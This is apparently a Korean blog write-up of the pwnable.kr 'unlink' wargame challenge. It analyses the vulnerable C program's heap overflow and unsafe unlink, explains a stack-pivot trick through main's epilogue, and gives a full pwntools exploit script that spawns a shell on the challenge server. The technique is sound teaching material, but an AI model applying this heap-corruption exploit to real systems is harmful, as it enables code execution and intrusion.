tmxklab
[pwnable.kr] unlink 본문
1. 문제 확인
파일 확인
unlink@pwnable:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn 49 Nov 23 2016 flag
-rw-r----- 1 root unlink_pwn 543 Nov 28 2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23 2016 unlink
-rw-r--r-- 1 root root 749 Nov 23 2016 unlink.c
intended_solution.txt파일도 하나 더 있는데 쉘을 따고 나서 보자
[ unlink.c ]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
A, B, C는 double linked list로 구성되어 있고 A의 stack, heap주소를 출력해준다. 그리고 gets(A→buf)를 통해 입력을 받을 수 있다. 여기서 heap overflow가 발생한다. 마지막으로 B를 unlink해준다.
위 사진은 unlink파일을 실행시켰을 때 상황이다.
우리의 목표는 shell함수를 실행시키는 것이다.
2. 접근 방법
첫 번째 접근 방법)
간단하게 heap, stack address가 주어지고 gets(A→buf)에서 heap overflow가 발생하니 B를 unlink할 때 요리조리 주작해서 ret에다가 shell()주소를 넣으면 될 줄 알았다.
unlink부분을 잘 보면 결국엔 다음 두 줄이 실행된다.
- P→fd→bk = P→bk
- P→bk→fd = P→fd
참고로 여기서 P는 B를 의미한다.
따라서, ret에다가 shell()주소를 넣으려면
P→fd→bk(=ret address) = P→bk(shell address)
또는
P→bk→fd(=ret address) = P→fd(shell address)
가 되면 넣을 수 있을 것이다.
하지만 만약 위의 첫 번째 방법으로 하면은 ret에 shell address를 넣을 수 있으나 그 다음 행인 P→bk→fd(shell + 0x4)에다가 P→fd값을 넣게 되는데 이 때, shell()은 code영역이며 write권한이 없어 불가능하다.
반대로 두 번째 P→bk→fd에다가 ret address를 넣어야하는데 불가능한 이유는 P→bk는 A를 의미하고 결국엔 A→fd에다가 ret를 넣어야하는데 A→buf부터 입력을 받을 수 있으므로 A→fd를 주작할 수 없다.
두 번째 접근 방법)
어떻게 하면은 익스플로잇할 수 있을지 생각하다가 main함수의 에필로그 부분에 힌트를 얻었다.
에필로그 부분이 평소에 보던 것과 조금 다르다.
mov ecx, DWORD PTR [ebp-0x4] // ecx에 ebp-0x4의 값을 넣는다.
leave // mov esp, ebp ; pop ebp
lea esp, [ecx-0x4] // esp에 ecx-0x4의 주소를 넣는다.
ret // pop eip ; jmp eip
디버깅을 하면서 이 부분을 자세히 확인해보면
ebp-0x4에는 0xffffd100이 담겨져 있고 ecx에 0xffffd100 복사
leave인스트럭션을 실행하면서 esp에 ebp값을 복사하고 ebp를 pop한다.
마지막으로 lea esp, [ecx-0x4]를 실행하게 되면서 ecx-0x4의 주소 값인 0xffffd100-0x4 = 0xffffd0fc를 esp에 넣는다.
그리고 ret할 때 pop eip, jmp eip를 하게 될 텐데 결국엔 현재 esp가 가리키는 __libc_start_main+241로 점프하게 된다.
위 과정을 이용하여 ebp-0x4에 heap영역의 주소를 넣으면 heap영역을 stack영역처럼 사용할 수 있게 되고 lea esp, [ecx-0x4]와 ret를 하게 되면서 heap영역에 박아뒀던 shell함수를 실행할 수 있게 될 것이다.
그림으로 표현하면 다음과 같이 만들면 된다.
ebp-0x4가 왜 dummy를 가리키는 이유는 "lea esp, ecx-0x4" 로 인해 shell을 가리키도록 맞춰주기 위함이다.
3. 문제 풀이
그럼 두 번째 방법을 통해 위 구조를 만들기 위해서 unlink를 이용해야 한다.
unlink할 때 사용하는 P→bk→fd = P→fd를 이용해 보자
P→bk→fd를 ebp-0x4로 만들고 P→fd를 A→buf[8]로 만들면 된다.
P→bk는 B→bk이며 B→bk→fd는 B→bk랑 같다. (모르면 디버깅 ㄱㄱ)
결국엔 B→bk에는 ebp-0x4 주소를 넣으면 되고 P→fd에는 A→buf[8]을 넣으면 된다.
그럼 unlink의 첫 번째 문장을 실행시킬 때 문제는 없는지 확인해보자
위와 같이 heap영역에 값을 채우고 실행하면 결국엔 A→buf[8]에서 bk를 가리키는 주소에 [ebp-0x4]값이 들어간다.
위에 노란색 부분은 heap영역이므로 문제없이 실행된다.
디버깅 하면 일케 됨
뭐 unlink도 잘 되고 결국엔
lea esp, [ecx-0x4]하고 ret하면 shell() 실행할 수 있음
leak한 heap, stack주소는 알아서 위에 설명한 것처럼 맞춰주면 됨
익스 코드)
from pwn import *
context.log_level = "debug"
ssh = ssh(user="unlink", host="pwnable.kr", port=2222, password='guest')
p = ssh.process("/home/unlink/unlink")
e = ELF("./unlink")
shell = e.symbols['shell']
p.recvuntil("leak: ")
leak_stack = int(p.recvuntil("\n"), 16)
p.recvuntil("leak: ")
leak_heap = int(p.recvuntil("\n"), 16)
log.info("leak_stack : "+hex(leak_stack))
log.info("leak_heap : "+hex(leak_heap))
payload = p32(shell)
payload += "A"*12
payload += p32(leak_heap+12)
payload += p32(leak_stack+16)
p.sendlineafter("shell!\n", payload)
p.interactive()
실행결과)
4. 몰랐던 개념
'War Game > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] horcruxes (0) | 2020.12.02 |
---|---|
[pwnable.kr] blukat (0) | 2020.12.02 |
[pwnable.kr] asm (0) | 2020.12.02 |
[pwnable.kr] memcpy (0) | 2020.12.02 |
[pwnable.kr] uaf (0) | 2020.12.02 |